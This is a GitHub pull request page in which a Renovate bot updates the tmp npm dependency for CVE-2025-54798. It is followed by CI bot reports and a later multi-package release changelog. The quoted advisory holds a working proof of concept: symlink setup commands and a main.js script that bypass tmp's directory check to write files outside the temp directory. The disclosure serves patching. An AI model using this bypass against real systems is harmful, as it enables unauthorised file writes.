Skip to content

fix(deps): update dependency tmp to ^0.2.0 [security]#699

Merged
aaronmgdr merged 2 commits intomasterfrom
renovate/npm-tmp-vulnerability
Aug 7, 2025
Merged

fix(deps): update dependency tmp to ^0.2.0 [security]#699
aaronmgdr merged 2 commits intomasterfrom
renovate/npm-tmp-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate Bot commented Aug 6, 2025

This PR contains the following updates:

Package Change Age Confidence
tmp ^0.1.0 -> ^0.2.0 age confidence

GitHub Vulnerability Alerts

CVE-2025-54798

Summary

tmp@0.2.3 is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.

Details

According to the documentation there are some conditions that must be held:

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50

Other breaking changes, i.e.

- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks

are still in place.

In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
     absolute paths are fine as long as they point to a location under the system's default temporary directory.
     Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, 
     as tmp will not check the availability of the path, nor will it establish the requested path for you.

Related issue: https://github.com/raszi/node-tmp/issues/207.

The issue occurs because _resolvePath does not properly handle symbolic link when resolving paths:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
  if (name.startsWith(tmpDir)) {
    return path.resolve(name);
  } else {
    return path.resolve(path.join(tmpDir, name));
  }
}

If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the _assertIsRelative check used in _assertAndSanitizeOptions:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
  if (option === 'name') {
    // assert that name is not absolute and does not contain a path
    if (path.isAbsolute(name))
      throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
    // must not fail on valid .<name> or ..<name> or similar such constructs
    let basename = path.basename(name);
    if (basename === '..' || basename === '.' || basename !== name)
      throw new Error(`${option} option must not contain a path, found "${name}".`);
  }
  else { // if (option === 'dir' || option === 'template') {
    // assert that dir or template are relative to tmpDir
    if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
    }
    let resolvedPath = _resolvePath(name, tmpDir); //<--- 
    if (!resolvedPath.startsWith(tmpDir))
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
  }
}

PoC

The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible.
Tested on a Linux machine.

  • Setup: create a symbolic link inside the tmpDir that points to a directory outside of it
mkdir $HOME/mydir1

ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir
  • check the folder is empty:
ls -lha $HOME/mydir1 | grep "tmp-"
  • run the poc
node main.js
File:  /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".
  • the temporary file is created under $HOME/mydir1 (outside the tmpDir):
ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user    0 Apr  X XX:XX tmp-[random-id]
  • main.js
// npm i tmp@0.2.3

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);

try {
    tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
    console.log('test 1:', err.message)
}

try {
    tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
    console.log('test 2:', err.message)
}

try {
    const fs = require('node:fs');
    const resolved = fs.realpathSync('/tmp/evil-dir');
    tmp.fileSync({ 'dir': resolved});
} catch (err) {
    console.log('test 3:', err.message)
}

A Potential fix could be to call fs.realpathSync (or similar) that resolves also symbolic links.

function _resolvePath(name, tmpDir) {
  let resolvedPath;
  if (name.startsWith(tmpDir)) {
    resolvedPath = path.resolve(name);
  } else {
    resolvedPath = path.resolve(path.join(tmpDir, name));
  }
  return fs.realpathSync(resolvedPath);
}

Impact

Arbitrary temporary file / directory write via symlink


Release Notes

raszi/node-tmp (tmp)

v0.2.4

Compare Source

v0.2.3

Compare Source

v0.2.2

Compare Source

🐛 Bug Fix
📝 Documentation
Committers: 5

v0.2.1

Compare Source

🚀 Enhancement
🏠 Internal
Committers: 1

v0.2.0

Compare Source

🚀 Enhancement
🐛 Bug Fix
📝 Documentation
🏠 Internal
Committers: 2

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.


PR-Codex overview

This PR focuses on updating the tmp dependency from version 0.1.0 to 0.2.0 for security improvements, along with related changes in the yarn.lock file.

Detailed summary

  • Updated tmp dependency in packages/dev-utils/package.json from ^0.1.0 to ^0.2.0.
  • Updated tmp version in yarn.lock from 0.1.0 to 0.2.0 with new version 0.2.4.
  • Removed old tmp version details from yarn.lock.

✨ Ask PR-Codex anything about this PR by commenting with /codex {your question}

Signed-off-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
@renovate renovate Bot requested a review from a team as a code owner August 6, 2025 22:03
@changeset-bot
Copy link
Copy Markdown

changeset-bot Bot commented Aug 6, 2025

🦋 Changeset detected

Latest commit: c84492c

The changes in this PR will be included in the next version bump.

This PR includes changesets to release 1 package
Name Type
@celo/dev-utils Patch

Not sure what this means? Click here to learn what changesets are.

Click here if you're a maintainer who wants to add another changeset to this PR

@github-actions
Copy link
Copy Markdown
Contributor

github-actions Bot commented Aug 6, 2025

size-limit report 📦

Path Size
require('@celo/actions') (cjs) 98.85 KB (0%)
import * from '@celo/actions' (esm) 23.55 KB (0%)
import { resolveAddress } from '@celo/actions' (esm) 23.49 KB (0%)
import { getGasPriceOnCelo } from '@celo/actions' (esm) 73 B (0%)
import * from '@celo/actions/chains' (esm) 329 B (0%)
import { getAccountsContract } from '@celo/actions/contracts/accounts' (esm) 46.11 KB (0%)
import * from '@celo/actions/staking' (esm) 50.66 KB (0%)

@codecov
Copy link
Copy Markdown

codecov Bot commented Aug 6, 2025

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 69.47%. Comparing base (80a7072) to head (c84492c).
⚠️ Report is 1 commits behind head on master.

Additional details and impacted files
@@           Coverage Diff           @@
##           master     #699   +/-   ##
=======================================
  Coverage   69.47%   69.47%           
=======================================
  Files         155      155           
  Lines        7193     7193           
  Branches     1168     1172    +4     
=======================================
  Hits         4997     4997           
+ Misses       2131     2103   -28     
- Partials       65       93   +28     
Components Coverage Δ
celocli ∅ <ø> (∅)
sdk 69.31% <ø> (ø)
wallets 73.14% <ø> (ø)
viem-sdks 94.15% <ø> (ø)
🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.
  • 📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

@renovate
Copy link
Copy Markdown
Contributor Author

renovate Bot commented Aug 7, 2025

Edited/Blocked Notification

Renovate will not automatically rebase this PR, because it does not recognize the last commit author and assumes somebody else may have edited the PR.

You can manually request rebase by checking the rebase/retry box above.

⚠️ Warning: custom changes will be lost.

@aaronmgdr aaronmgdr merged commit 3eb509d into master Aug 7, 2025
28 of 41 checks passed
@aaronmgdr aaronmgdr deleted the renovate/npm-tmp-vulnerability branch August 7, 2025 11:43
@github-actions github-actions Bot mentioned this pull request Aug 7, 2025
@github-actions github-actions Bot mentioned this pull request Aug 29, 2025
aaronmgdr pushed a commit that referenced this pull request Aug 29, 2025
This PR was opened by the [Changesets
release](https://github.com/changesets/action) GitHub action. When
you're ready to do a release, you can merge this and the packages will
be published to npm automatically. If you're not ready to do a release
yet, that's fine, whenever you add more changesets to master, this PR
will be updated.


# Releases
## @celo/actions@0.1.0

### Minor Changes

- [#695](#695)
[`7360192`](7360192)
Thanks [@aaronmgdr](https://github.com/aaronmgdr)! - Adds celo-sepolia
to chain definitions

- [#689](#689)
[`493f73c`](493f73c)
Thanks [@aaronmgdr](https://github.com/aaronmgdr)! - Expose a
getMultiSigContract helper.

### Patch Changes

- [#695](#695)
[`7360192`](7360192)
Thanks [@aaronmgdr](https://github.com/aaronmgdr)! - Update viem to
version that includes support for celo sepolia

- [#684](#684)
[`e058e0a`](e058e0a)
Thanks [@nicolasbrugneaux](https://github.com/nicolasbrugneaux)! -
Support Core Contract Release 13

## @celo/celocli@7.1.0

### Minor Changes

- [#695](#695)
[`7360192`](7360192)
Thanks [@aaronmgdr](https://github.com/aaronmgdr)! - Adds rpc-url as
alias for node

- [#689](#689)
[`493f73c`](493f73c)
Thanks [@aaronmgdr](https://github.com/aaronmgdr)! - Add a
multisig:propose that can propose arbitrary transactions on celo
multisigs.
    Refactor all multisig commands to use `viem`.

- [#695](#695)
[`7360192`](7360192)
Thanks [@aaronmgdr](https://github.com/aaronmgdr)! - Adds celo-sepolia +
'testnet' aliases for use with the node flag.

### Patch Changes

- [#695](#695)
[`7360192`](7360192)
Thanks [@aaronmgdr](https://github.com/aaronmgdr)! - Update viem to
version that includes support for celo sepolia

- [#684](#684)
[`e058e0a`](e058e0a)
Thanks [@nicolasbrugneaux](https://github.com/nicolasbrugneaux)! -
Remove governance:whitelisthotfix command. Note we dont consider this
breaking since it has not functioned since the cel2 transition.

- [#684](#684)
[`e058e0a`](e058e0a)
Thanks [@nicolasbrugneaux](https://github.com/nicolasbrugneaux)! -
Support Core Contract Release 13

- Updated dependencies
\[[`7360192`](7360192),
[`7360192`](7360192),
[`2d997eb`](2d997eb),
[`7360192`](7360192),
[`493f73c`](493f73c),
[`e058e0a`](e058e0a)]:
    -   @celo/actions@0.1.0
    -   @celo/viem-account-ledger@1.2.1
    -   @celo/governance@5.1.8
    -   @celo/wallet-ledger@8.0.1
    -   @celo/wallet-local@8.0.1
    -   @celo/contractkit@10.0.1
    -   @celo/wallet-hsm-azure@8.0.1
    -   @celo/explorer@5.0.17

## @celo/dev-utils@0.1.2

### Patch Changes

- [#699](#699)
[`3eb509d`](3eb509d)
Thanks [@renovate](https://github.com/apps/renovate)! - fix(deps):
update dependency tmp to ^0.2.0 [security]

- [#684](#684)
[`e058e0a`](e058e0a)
Thanks [@nicolasbrugneaux](https://github.com/nicolasbrugneaux)! -
Support Core Contract Release 13

## @celo/contractkit@10.0.1

### Patch Changes

- [#684](#684)
[`e058e0a`](e058e0a)
Thanks [@nicolasbrugneaux](https://github.com/nicolasbrugneaux)! -
Support Core Contract Release 13

- Updated dependencies
\[[`7360192`](7360192)]:
    -   @celo/wallet-local@8.0.1

## @celo/explorer@5.0.17

### Patch Changes

- Updated dependencies
\[[`e058e0a`](e058e0a)]:
    -   @celo/contractkit@10.0.1

## @celo/governance@5.1.8

### Patch Changes

- [#703](#703)
[`2d997eb`](2d997eb)
Thanks [@aaronmgdr](https://github.com/aaronmgdr)! - Proposals missing
value property now throw with understandable error message

- [#684](#684)
[`e058e0a`](e058e0a)
Thanks [@nicolasbrugneaux](https://github.com/nicolasbrugneaux)! -
Support Core Contract Release 13

- Updated dependencies
\[[`e058e0a`](e058e0a)]:
    -   @celo/contractkit@10.0.1
    -   @celo/explorer@5.0.17

## @celo/keystores@5.0.16

### Patch Changes

- Updated dependencies
\[[`7360192`](7360192)]:
    -   @celo/wallet-local@8.0.1

## @celo/wallet-base@8.0.1

### Patch Changes

- [#695](#695)
[`7360192`](7360192)
Thanks [@aaronmgdr](https://github.com/aaronmgdr)! - Update token signer
to support celo sepolia

## @celo/wallet-hsm-aws@8.0.1

### Patch Changes

- Updated dependencies
\[[`7360192`](7360192)]:
    -   @celo/wallet-base@8.0.1
    -   @celo/wallet-hsm@8.0.1
    -   @celo/wallet-remote@8.0.1

## @celo/wallet-hsm-azure@8.0.1

### Patch Changes

- Updated dependencies
\[[`7360192`](7360192)]:
    -   @celo/wallet-base@8.0.1
    -   @celo/wallet-hsm@8.0.1
    -   @celo/wallet-remote@8.0.1

## @celo/wallet-hsm-gcp@8.0.1

### Patch Changes

- Updated dependencies
\[[`7360192`](7360192)]:
    -   @celo/wallet-base@8.0.1
    -   @celo/wallet-hsm@8.0.1
    -   @celo/wallet-remote@8.0.1

## @celo/wallet-ledger@8.0.1

### Patch Changes

- [#695](#695)
[`7360192`](7360192)
Thanks [@aaronmgdr](https://github.com/aaronmgdr)! - Update token signer
to support celo sepolia

- Updated dependencies
\[[`7360192`](7360192)]:
    -   @celo/wallet-base@8.0.1
    -   @celo/wallet-remote@8.0.1

## @celo/wallet-local@8.0.1

### Patch Changes

- [#695](#695)
[`7360192`](7360192)
Thanks [@aaronmgdr](https://github.com/aaronmgdr)! - Update token signer
to support celo sepolia

- Updated dependencies
\[[`7360192`](7360192)]:
    -   @celo/wallet-base@8.0.1

## @celo/wallet-remote@8.0.1

### Patch Changes

- Updated dependencies
\[[`7360192`](7360192)]:
    -   @celo/wallet-base@8.0.1

## @celo/viem-account-ledger@1.2.1

### Patch Changes

- [#695](#695)
[`7360192`](7360192)
Thanks [@aaronmgdr](https://github.com/aaronmgdr)! - Update viem to
version that includes support for celo sepolia

- [#695](#695)
[`7360192`](7360192)
Thanks [@aaronmgdr](https://github.com/aaronmgdr)! - Update token signer
to support celo sepolia

## @celo/wallet-hsm@8.0.1




<!-- start pr-codex -->

---

## PR-Codex overview
This PR focuses on updating version numbers for various Celo packages
and their documentation, as well as removing outdated changeset files.
It introduces new functionalities and improvements across several SDK
components.

### Detailed summary
- Deleted multiple `.changeset` files.
- Updated versions for:
  - `@Celo/Actions` to `v0.1.0`
  - `@celo/contractkit` to `v10.0.1`
  - `@celo/governance` to `v5.1.8`
  - `@celo/explorer` to `v5.0.17`
  - `@celo/wallet-hsm` to `v8.0.1`
  - `@celo/wallet-base` to `v8.0.1`
  - `@celo/viem-account-ledger` to `v1.2.1`
- Updated changelogs for various packages.
- Improved documentation across multiple SDK components.

> The following files were skipped due to too many changes:
`docs/command-line-interface/lockedcelo.md`,
`docs/command-line-interface/governance.md`,
`docs/command-line-interface/releasecelo.md`, `yarn.lock`,
`docs/command-line-interface/account.md`

> ✨ Ask PR-Codex anything about this PR by commenting with `/codex {your
question}`

<!-- end pr-codex -->

---------

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant